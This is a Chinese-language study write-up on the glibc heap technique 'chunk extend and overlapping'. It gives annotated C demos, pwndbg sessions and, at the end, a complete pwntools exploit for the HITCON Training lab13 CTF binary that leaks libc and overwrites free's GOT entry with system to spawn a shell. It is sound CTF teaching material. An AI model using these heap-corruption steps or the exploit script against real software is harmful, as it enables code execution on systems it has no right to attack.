Chunk Extend and Overlapping
Overview
chunk extend 是堆漏洞的一种常见利用手法,通过 extend 可以实现 chunk overlapping 的效果。这种利用方法需要以下的时机和条件:
- 程序中存在基于堆的漏洞
- 漏洞可以控制 chunk header 中的数据
ptmalloc对堆进行操作时使用的宏
chunk extend 技术能够产生的原因在于 ptmalloc 在对堆 chunk 进行操作时使用的各种宏;
在 ptmalloc 中,获取 chunk 块大小的操作如下:
/* Get size, ignoring use bits */
#define chunksize(p) (chunksize_nomask(p) & ~(SIZE_BITS))
/* Like chunksize, but do not mask SIZE_BITS. */
#define chunksize_nomask(p) ((p)->mchunk_size)即使用当前块指针加上当前块大小。
在 ptmalloc 中,获取前一个 chunk 信息的操作如下:
/* Size of the chunk below P. Only valid if prev_inuse (P). */
#define prev_size(p) ((p)->mchunk_prev_size)
/* Ptr to previous physical malloc_chunk. Only valid if prev_inuse (P). */
#define prev_chunk(p) ((mchunkptr)(((char *) (p)) - prev_size(p)))即通过 malloc_chunk->prev_size 获取前一块大小,然后使用本 chunk 地址减去所得大小。
在 ptmalloc,判断当前 chunk 是否是 use 状态的操作如下:
#define inuse(p)
((((mchunkptr)(((char *) (p)) + chunksize(p)))->mchunk_size) & PREV_INUSE)即查看下一 chunk 的 prev_inuse 域,而下一块地址又如我们前面所述是根据当前 chunk 的 size 计算得出的。
具体为什么是这样以及更多操作详见 CTF Wiki - 堆相关数据结构。
通过上面几个宏可以看出,ptmalloc 通过 chunk header 的数据判断 chunk 的使用情况和对 chunk 的前后块进行定位。简而言之,chunk extend 就是通过控制 size 和 pre_size 域来实现跨越块操作从而导致 overlapping 的。
Example
基本示例 1:对 inuse 的 fastbin 进行 extend
- 利用的效果是通过更改第一个块的大小来控制第二个块的内容。
- 示例都是在 64 位的程序。如果想在 32 位下进行测试,可以把 8 字节偏移改为 4 字节。
int main(void)
{
void *ptr,*ptr1;
ptr=malloc(0x10);//分配第一个0x10的chunk
malloc(0x10);//分配第二个0x10的chunk
*(long long *)((long long)ptr-0x8)=0x41;// 修改第一个块的size域
free(ptr);
ptr1=malloc(0x30);// 实现 extend,控制了第二个块的内容
return 0;
}我们进pwndbg中调试一下,观察“当两个 malloc 语句执行之后,堆的内存分布”、“代码中把 chunk1 的 size 域更改为 0x41”、“执行 free 之后,chunk2 与 chunk1 合成一个 0x40 大小的 chunk”和“通过 malloc(0x30) 得到 chunk1+chunk2 的块”;
我分别在
main+22(第一个malloc返回处)、main+36(第二个malloc返回处)、main+51(把 chunk1 的 size 域更改为 0x41后返回处)、main+58(free前)、main+63(free后)和main+73(通过 malloc(0x30) 得到 chunk1+chunk2 的块前)下断点。
pwndbg> disassemble main
Dump of assembler code for function main:
0x0000000000401156 <+0>: endbr64
0x000000000040115a <+4>: push rbp
0x000000000040115b <+5>: mov rbp,rsp
0x000000000040115e <+8>: sub rsp,0x10
0x0000000000401162 <+12>: mov edi,0x10
0x0000000000401167 <+17>: call 0x401060 <malloc@plt>
0x000000000040116c <+22>: mov QWORD PTR [rbp-0x8],rax
0x0000000000401170 <+26>: mov edi,0x10
0x0000000000401175 <+31>: call 0x401060 <malloc@plt>
0x000000000040117a <+36>: mov rax,QWORD PTR [rbp-0x8]
0x000000000040117e <+40>: sub rax,0x8
0x0000000000401182 <+44>: mov QWORD PTR [rax],0x41
0x0000000000401189 <+51>: mov rax,QWORD PTR [rbp-0x8]
0x000000000040118d <+55>: mov rdi,rax
0x0000000000401190 <+58>: call 0x401050 <free@plt>
0x0000000000401195 <+63>: mov edi,0x30
0x000000000040119a <+68>: call 0x401060 <malloc@plt>
0x000000000040119f <+73>: mov QWORD PTR [rbp-0x10],rax
0x00000000004011a3 <+77>: mov eax,0x0
0x00000000004011a8 <+82>: leave
0x00000000004011a9 <+83>: ret
End of assembler dump.
pwndbg> b *main+22
Breakpoint 1 at 0x40116c: file main.c, line 7.
pwndbg> b *main+36
Breakpoint 2 at 0x40117a: file main.c, line 10.
pwndbg> b *main+51
Breakpoint 3 at 0x401189: file main.c, line 12.
pwndbg> b *main+58
Breakpoint 4 at 0x401190: file main.c, line 12.
pwndbg> b *main+63
Breakpoint 5 at 0x401195: file main.c, line 13.
pwndbg> b *main+73
Breakpoint 6 at 0x40119f: file main.c, line 13.
pwndbg>其实我这里的多下了一个断点,所以我这里c了一次
pwndbg> c
Continuing.
Breakpoint 2, main () at main.c:10
10 *(long long *)((long long)ptr-0x8)=0x41;// 修改第一个块的size域
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────────────────────────────
*RAX 0x4042c0 ◂— 0
RBX 0
RCX 0x21
RDX 0
RDI 0
*RSI 0x4042d0 ◂— 0
R8 0x21001
*R9 0x4042c0 ◂— 0
R10 0xfffffffffffff000
R11 0x7ffff7e1ace0 (main_arena+96) —▸ 0x4042d0 ◂— 0
R12 0x7fffffffdcf8 —▸ 0x7fffffffdfb5 ◂— 0x657a2f656d6f682f ('/home/ze')
R13 0x401156 (main) ◂— endbr64
R14 0x4030e8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401120 (__do_global_dtors_aux) ◂— endbr64
R15 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0
RBP 0x7fffffffdbe0 ◂— 1
RSP 0x7fffffffdbd0 {ptr1} ◂— 0x1000
*RIP 0x40117a (main+36) ◂— mov rax, qword ptr [rbp - 8]
──────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────────────────────────────────────
b+ 0x40116c <main+22> mov qword ptr [rbp - 8], rax [{ptr}] <= 0x4042a0 ◂— 0
0x401170 <main+26> mov edi, 0x10 EDI => 0x10
0x401175 <main+31> call malloc@plt <malloc@plt>
► 0x40117a <main+36> mov rax, qword ptr [rbp - 8] RAX, [{ptr}] => 0x4042a0 ◂— 0
0x40117e <main+40> sub rax, 8 RAX => 0x404298 (0x4042a0 - 0x8)
0x401182 <main+44> mov qword ptr [rax], 0x41 [0x404298] <= 0x41
b+ 0x401189 <main+51> mov rax, qword ptr [rbp - 8] RAX, [{ptr}] => 0x4042a0 ◂— 0
0x40118d <main+55> mov rdi, rax RDI => 0x4042a0 ◂— 0
b+ 0x401190 <main+58> call free@plt <free@plt>
b+ 0x401195 <main+63> mov edi, 0x30 EDI => 0x30
0x40119a <main+68> call malloc@plt <malloc@plt>
────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────────────────────────────────────────────
In file: /home/zer0ptr/Pwn-Research/Heap-overflow-basic/Chunk_extend_overlapping/对inuse的fastbin进行extend/main.c:10
5 void *ptr,*ptr1;
6
7 ptr=malloc(0x10);//分配第一个0x10的chunk
8 malloc(0x10);//分配第二个0x10的chunk
9
► 10 *(long long *)((long long)ptr-0x8)=0x41;// 修改第一个块的size域
11
12 free(ptr);
13 ptr1=malloc(0x30);// 实现 extend,控制了第二个块的内容
14 return 0;
15 }
────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdbd0 {ptr1} ◂— 0x1000
01:0008│-008 0x7fffffffdbd8 {ptr} —▸ 0x4042a0 ◂— 0
02:0010│ rbp 0x7fffffffdbe0 ◂— 1
03:0018│+008 0x7fffffffdbe8 —▸ 0x7ffff7c29d90 (__libc_start_call_main+128) ◂— mov edi, eax
04:0020│+010 0x7fffffffdbf0 ◂— 0
05:0028│+018 0x7fffffffdbf8 —▸ 0x401156 (main) ◂— endbr64
06:0030│+020 0x7fffffffdc00 ◂— 0x1ffffdce0
07:0038│+028 0x7fffffffdc08 —▸ 0x7fffffffdcf8 —▸ 0x7fffffffdfb5 ◂— 0x657a2f656d6f682f ('/home/ze')
──────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────────────
► 0 0x40117a main+36
1 0x7ffff7c29d90 __libc_start_call_main+128
2 0x7ffff7c29e40 __libc_start_main+128
3 0x401095 _start+37
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/10gx 0x4042a0
0x4042a0: 0x0000000000000000 0x0000000000000000
0x4042b0: 0x0000000000000000 0x0000000000000021
0x4042c0: 0x0000000000000000 0x0000000000000000
0x4042d0: 0x0000000000000000 0x0000000000020d31
0x4042e0: 0x0000000000000000 0x0000000000000000
pwndbg>当两个 malloc 语句执行之后,堆的内存分布如上;
之后,我们把 chunk1 的 size 域更改为 0x41,0x41 是因为 chunk 的 size 域包含了用户控制的大小和 header 的大小。如上所示正好大小为 0x40。在题目中这一步可以由堆溢出得到。
pwndbg> n
Breakpoint 4, 0x0000000000401190 in main () at main.c:12
12 free(ptr);
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────────────────────────────
*RAX 0x4042a0 ◂— 0
RBX 0
RCX 0x21
RDX 0
*RDI 0x4042a0 ◂— 0
RSI 0x4042d0 ◂— 0
R8 0x21001
R9 0x4042c0 ◂— 0
R10 0xfffffffffffff000
R11 0x7ffff7e1ace0 (main_arena+96) —▸ 0x4042d0 ◂— 0
R12 0x7fffffffdcf8 —▸ 0x7fffffffdfb5 ◂— 0x657a2f656d6f682f ('/home/ze')
R13 0x401156 (main) ◂— endbr64
R14 0x4030e8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401120 (__do_global_dtors_aux) ◂— endbr64
R15 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0
RBP 0x7fffffffdbe0 ◂— 1
RSP 0x7fffffffdbd0 {ptr1} ◂— 0x1000
*RIP 0x401190 (main+58) ◂— call free@plt
──────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────────────────────────────────────
b+ 0x40117a <main+36> mov rax, qword ptr [rbp - 8] RAX, [{ptr}] => 0x4042a0 ◂— 0
0x40117e <main+40> sub rax, 8 RAX => 0x404298 (0x4042a0 - 0x8)
0x401182 <main+44> mov qword ptr [rax], 0x41 [0x404298] <= 0x41
b+ 0x401189 <main+51> mov rax, qword ptr [rbp - 8] RAX, [{ptr}] => 0x4042a0 ◂— 0
0x40118d <main+55> mov rdi, rax RDI => 0x4042a0 ◂— 0
► 0x401190 <main+58> call free@plt <free@plt>
ptr: 0x4042a0 ◂— 0
b+ 0x401195 <main+63> mov edi, 0x30 EDI => 0x30
0x40119a <main+68> call malloc@plt <malloc@plt>
b+ 0x40119f <main+73> mov qword ptr [rbp - 0x10], rax
0x4011a3 <main+77> mov eax, 0 EAX => 0
0x4011a8 <main+82> leave
────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────────────────────────────────────────────
In file: /home/zer0ptr/Pwn-Research/Heap-overflow-basic/Chunk_extend_overlapping/对inuse的fastbin进行extend/main.c:12
7 ptr=malloc(0x10);//分配第一个0x10的chunk
8 malloc(0x10);//分配第二个0x10的chunk
9
10 *(long long *)((long long)ptr-0x8)=0x41;// 修改第一个块的size域
11
► 12 free(ptr);
13 ptr1=malloc(0x30);// 实现 extend,控制了第二个块的内容
14 return 0;
15 }
────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdbd0 {ptr1} ◂— 0x1000
01:0008│-008 0x7fffffffdbd8 {ptr} —▸ 0x4042a0 ◂— 0
02:0010│ rbp 0x7fffffffdbe0 ◂— 1
03:0018│+008 0x7fffffffdbe8 —▸ 0x7ffff7c29d90 (__libc_start_call_main+128) ◂— mov edi, eax
04:0020│+010 0x7fffffffdbf0 ◂— 0
05:0028│+018 0x7fffffffdbf8 —▸ 0x401156 (main) ◂— endbr64
06:0030│+020 0x7fffffffdc00 ◂— 0x1ffffdce0
07:0038│+028 0x7fffffffdc08 —▸ 0x7fffffffdcf8 —▸ 0x7fffffffdfb5 ◂— 0x657a2f656d6f682f ('/home/ze')
──────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────────────
► 0 0x401190 main+58
1 0x7ffff7c29d90 __libc_start_call_main+128
2 0x7ffff7c29e40 __libc_start_main+128
3 0x401095 _start+37
pwndbg> x/4gx 0x404290
0x404290: 0x0000000000000000 0x0000000000000041
0x4042a0: 0x0000000000000000 0x0000000000000000这里小回顾一下chunk的结构,就可以解释为什么是看
0x404290这个地址了(这个地址是chunk的prev_size,而我们修改的就是size域),下面是一张参考图:

执行 free 之后,我们可以看到 chunk2 与 chunk1 合成一个 0x40 大小的 chunk,一起释放了:
pwndbg> bins
tcachebins
0x40 [ 1]: 0x4042a0 ◂— 0
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
empty之后我们通过 malloc(0x30) 得到 chunk1+chunk2 的块,此时就可以直接控制 chunk2 中的内容,我们也把这种状态称为 overlapping chunk。
基本示例 2:对 inuse 的 smallbin 进行 extend
通过之前深入理解堆的实现部分的内容,我们得知处于 fastbin 范围的 chunk 释放后会被置入 fastbin 链表中,而不处于这个范围的 chunk 被释放后会被置于 unsorted bin 链表中。 以下这个示例中,我们使用 0x80 这个大小来分配堆(作为对比,fastbin 默认的最大的 chunk 可使用范围是 0x70)
// gcc -g test2.c -o test2
#include <stdio.h>
int main() {
void *test, *test1;
test = malloc(0x80); // 分配第一个 0x80 的chunk1
malloc(0x10); // 分配第二个 0x10 的chunk2s
malloc(0x10); // 防止与top chunk合并
*(long*)((long)test-0x8) = 0xb1;
free(test);
test1 = malloc(0xa0);
}在这个例子中,因为分配的 size 不处于 fastbin 的范围,因此在释放时如果与 top chunk 相连会导致和 top chunk 合并。所以我们需要额外分配一个 chunk,把释放的块与 top chunk 隔开。
我们进gdb中观察一下:
pwndbg> b 9
Breakpoint 1 at 0x11a6: file main.c, line 9.
pwndbg> r
·········
────────────────────────────────────────────────────────────────────────────────────────
In file: /home/zer0ptr/Pwn-Research/Heap-overflow-basic/Chunk_extend_overlapping/对inuse的smallbin进行extend/main.c:9
4 int main() {
5 void *test, *test1;
6 test = malloc(0x80); // 分配第一个 0x80 的chunk1
7 malloc(0x10); // 分配第二个 0x10 的chunk2s
8 malloc(0x10); // 防止与top chunk合并
► 9 *(long*)((long)test-0x8) = 0xb1;
10 free(test);
11 test1 = malloc(0xa0);
12 }
·········
────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> i r rax
rax 0x555555559298 93824992252568
pwndbg> x/30gx 0x555555559298
0x555555559298: 0x00000000000000b1 0x0000000000000000
0x5555555592a8: 0x0000000000000000 0x0000000000000000
0x5555555592b8: 0x0000000000000000 0x0000000000000000
0x5555555592c8: 0x0000000000000000 0x0000000000000000
0x5555555592d8: 0x0000000000000000 0x0000000000000000
0x5555555592e8: 0x0000000000000000 0x0000000000000000
0x5555555592f8: 0x0000000000000000 0x0000000000000000
0x555555559308: 0x0000000000000000 0x0000000000000000
0x555555559318: 0x0000000000000000 0x0000000000000000
0x555555559328: 0x0000000000000021 0x0000000000000000
0x555555559338: 0x0000000000000000 0x0000000000000000
0x555555559348: 0x0000000000000021 0x0000000000000000
0x555555559358: 0x0000000000000000 0x0000000000000000
0x555555559368: 0x0000000000020ca1 0x0000000000000000
0x555555559378: 0x0000000000000000 0x0000000000000000其中,chunk1如下:
0x555555559298: 0x00000000000000b1 0x0000000000000000
0x5555555592a8: 0x0000000000000000 0x0000000000000000
0x5555555592b8: 0x0000000000000000 0x0000000000000000
0x5555555592c8: 0x0000000000000000 0x0000000000000000
0x5555555592d8: 0x0000000000000000 0x0000000000000000
0x5555555592e8: 0x0000000000000000 0x0000000000000000
0x5555555592f8: 0x0000000000000000 0x0000000000000000
0x555555559308: 0x0000000000000000 0x0000000000000000
0x555555559318: 0x0000000000000000 0x0000000000000000chunk2:
0x555555559328: 0x0000000000000021 0x0000000000000000
0x555555559338: 0x0000000000000000 0x0000000000000000用于隔离 top_chunk 的chunk(那它下面那个就是top chunk啦!):
0x555555559328: 0x0000000000000021 0x0000000000000000
0x555555559338: 0x0000000000000000 0x0000000000000000接下来在第10行处下断点,执行*(int *)((int)test-0x8) = 0xb1;这段代码:
pwndbg> x/30gx 0x555555559298
0x555555559298: 0x00000000000000b1 0x0000000555555559
0x5555555592a8: 0xe1643fe79a375a5e 0x0000000000000000
0x5555555592b8: 0x0000000000000000 0x0000000000000000
0x5555555592c8: 0x0000000000000000 0x0000000000000000
0x5555555592d8: 0x0000000000000000 0x0000000000000000
0x5555555592e8: 0x0000000000000000 0x0000000000000000
0x5555555592f8: 0x0000000000000000 0x0000000000000000
0x555555559308: 0x0000000000000000 0x0000000000000000
0x555555559318: 0x0000000000000000 0x0000000000000000
0x555555559328: 0x0000000000000021 0x0000000000000000
0x555555559338: 0x0000000000000000 0x0000000000000000
0x555555559348: 0x0000000000000021 0x0000000000000000
0x555555559358: 0x0000000000000000 0x0000000000000000
0x555555559368: 0x0000000000020ca1 0x0000000000000000
0x555555559378: 0x0000000000000000 0x0000000000000000
pwndbg> bin
Ambiguous command "bin": binder, bins.
pwndbg> bins
tcachebins
0xb0 [ 1]: 0x5555555592a0 ◂— 0
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
empty
pwndbg>
tcachebins
0xb0 [ 1]: 0x5555555592a0 ◂— 0
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
empty
pwndbg>没有得到预期的结果,根据 tcachebins 猜测是因为使用了新版本的glibc导致,但我们仍然可以根据参考文章中学习其思路;

和前面的例子一样,*(int *)((int)test-0x8) = 0xb1;这段代码也是将chunk1的size部分进行了更改,将原有的0x90扩展到了0xb0。这就导致了chunk2被chunk1所包含。接下来我们在第11行下断点释放chunk1:

这里解释一下为什么进的是unsortbin,有两种情况下进unsortbin:
- 当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中
- 释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中
那么这个例子就满足第二种情况,不属于fastbin中的空闲块,并且不和top chunk相邻。其实这个例子和第一个例子差不多,因为chunk1和chunk2合并之后的chunk的大小超过了fast bin的最大接收值,所以不进fast bin,并且chunk3的size标志位变成了0,证明前一个块chunk2是一个释放的状态。接下来的过程也是一样的,再次申请一个0xa0大小的chunk时,会从unsort bin中提取。连带着chunk2中的内容也会被提取出来,这样一来再次对chunk1进行操作,从而达到操作chunk2的目的。
基本示例 3:对 free 的 smallbin 进行 extend
//gcc -g test3 -o test3
#include<stdio.h>
int main()
{
void *test, *test1;
test = malloc(0x80);//分配第一个0x80的chunk1
malloc(0x10);//分配第二个0x10的chunk2
free(test);//首先进行释放,使得chunk1进入unsorted bin
*(long *)((long)test - 0x8) = 0xb1;
test1 = malloc(0xa0);
}第三个例子和前面两个有一些区别,前面两个都是先修改chunk1的size大小然后进行释放,但是这个例子是先进行释放,然后重新修改chunk1的size大小,依然还是一步一步来,首先在第8行下断点,使程序完成申请chunk的操作:

接下来我们在第9行下断点,使程序完成对chunk1的释放:

没有什么意外,释放之后的chunk1依然进入了unsort bin中。接下来 我们将断点下载第10行,需要注意的是此时更改size大小的操作是在free之后完成的:

此时再进行 malloc 分配就可以得到 chunk1+chunk2 的堆块,从而控制了 chunk2 的内容。
在修改完size之后重新申请0xa0的时候会从unsort bin中申请,这个时候大家需要总结一下,其实各个bin中存放的只有chunk的首地址,真正判断多大还得是去看这个chunk的size大小,所以再次申请的时候依然还可以对chunk2进行控制
基本示例 4:通过 extend 后向 overlapping
这里展示通过 extend 进行后向 overlapping,这也是在 CTF 中最常出现的情况,通过 overlapping 可以实现其它的一些利用。
#include <stdio.h>
int main()
{
void *ptr,*ptr1;
ptr=malloc(0x10);//分配第1个 0x80 的chunk1
malloc(0x10); //分配第2个 0x10 的chunk2
malloc(0x10); //分配第3个 0x10 的chunk3
malloc(0x10); //分配第4个 0x10 的chunk4
*(int *)((int)ptr-0x8)=0x61;
free(ptr);
ptr1=malloc(0x50);
}初始化分配 4 个堆之后:

将第一个 chunk size 修改为 0x61 ,然后 free 第一个堆块,红框内的都会被当做一个整体放入到 fastbin 当中:


那么当再次分配大小为 0x50 (不含chunk header)时,就会调用这块内存了:

在 malloc(0x50) 对 extend 区域重新占位后,其中 0x10 的 fastbin 块依然可以正常的分配和释放,此时已经构成 overlapping,通过对 overlapping 的进行操作可以实现 fastbin attack。
基本示例 5:通过 extend 前向 overlapping
#include <stdio.h>
int main(void)
{
void *ptr1,*ptr2,*ptr3,*ptr4;
ptr1=malloc(128);//smallbin1
ptr2=malloc(0x10);//fastbin1
ptr3=malloc(0x10);//fastbin2
ptr4=malloc(128);//smallbin2
malloc(0x10);//防止与top合并
free(ptr1);
*(int *)((long long)ptr4-0x8)=0x90;//修改pre_inuse域,prev_inuse
*(int *)((long long)ptr4-0x10)=0xd0;//修改pre_size域,prev_size
free(ptr4);//unlink进行前向extend
malloc(0x150);//占位块
}这里例子调试一直出不来堆信息,就文字描述一下:
先布置好 5 个堆块,然后释放 ptr1 进入到 unsortedbin 。修改 ptr4 的 prev_inuse 为 0 标记前一个堆块释放(空闲);修改 ptr4 的 prev_size 为 ptr1+ptr2+ptr3 。释放 ptr4 会触发回收机制,也就是合并物理相邻的堆,用到的操作是 unlink ,就将 ptr1~4 当做一个堆块放入 unsortedbin。
前向 extend 利用了 smallbin 的 unlink 机制,通过修改 pre_size 域可以跨越多个 chunk 进行合并实现 overlapping。
例题
HITCON Training lab13
基本信息
# zer0ptr @ DESKTOP-FHEMUHT in ~/Pwn-Research/Heap-overflow-basic/Chunk_extend_overlapping/HITCON_Training_lab13 [15:58:02]
$ checksec heapcreator
[*] '/home/zer0ptr/Pwn-Research/Heap-overflow-basic/Chunk_extend_overlapping/HITCON_Training_lab13/heapcreator'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No程序为 64 位动态链接程序,主要开启了 Canary 保护与 NX 保护。
基本功能
程序大概是一个自定义的堆分配器,每个堆主要有两个成员:大小与内容指针。主要功能如下
- 创建堆,根据用户输入的长度,申请对应内存空间,并利用 read 读取指定长度内容。这里长度没有进行检测,当长度为负数时,会出现任意长度堆溢出的漏洞。当然,前提是可以进行 malloc。此外,这里读取之后并没有设置 NULL。
- 编辑堆,根据指定的索引以及之前存储的堆的大小读取指定内容,但是这里读入的长度会比之前大 1,所以会存在 off by one 的漏洞。
- 展示堆,输出指定索引堆的大小以及内容。
- 删除堆,删除指定堆,并且将对应指针设置为了 NULL。
利用
基本利用思路如下
- 利用 off by one 漏洞覆盖下一个 chunk 的 size 字段,从而构造伪造的 chunk 大小。
- 申请伪造的 chunk 大小,从而产生 chunk overlap,进而修改关键指针。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process("./heapcreator")
elf = ELF("./heapcreator")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def create(size, content):
p.recvuntil(b"choice :")
p.sendline(b"1")
p.recvuntil(b"Heap : ")
p.sendline(str(size).encode())
p.recvuntil(b"heap:")
p.send(content)
def edit(idx, content):
p.recvuntil(b"choice :")
p.sendline(b"2")
p.recvuntil(b"Index :")
p.sendline(str(idx).encode())
p.recvuntil(b"heap :")
p.send(content)
def show(idx):
p.recvuntil(b"choice :")
p.sendline(b"3")
p.recvuntil(b"Index :")
p.sendline(str(idx).encode())
def free(idx):
p.recvuntil(b"choice :")
p.sendline(b"4")
p.recvuntil(b"Index :")
p.sendline(str(idx).encode())
def exit():
p.recvuntil(b"choice :")
p.sendline(b"5")
# off-by-one
create(0x18, b'a'*0x10) # 0
create(0x10, b'b'*0x10) # 1
edit(0, b"/bin/sh\x00".ljust(0x18, b'a') + b"\x41")
free(1)
# leak libc
free_got = elf.got['free']
create(0x30, b'a'*0x18 + p64(0x21) + p64(0x30) + p64(free_got))
show(1)
p.recvuntil(b"Content : ")
free_addr = u64(p.recv(6).ljust(8, b'\x00'))
log.info("free_addr:" + hex(free_addr))
libc_base = free_addr - libc.symbols['free']
log.info("libc_base:" + hex(libc_base))
system = libc_base + libc.symbols['system']
log.info("system:" + hex(system))
edit(1, p64(system))
# gdb.attach(p)
free(0)
p.interactive()References
-
CTF-Wiki
-
CSDN
-
知乎
-
博客园
-
Blogs
-
看雪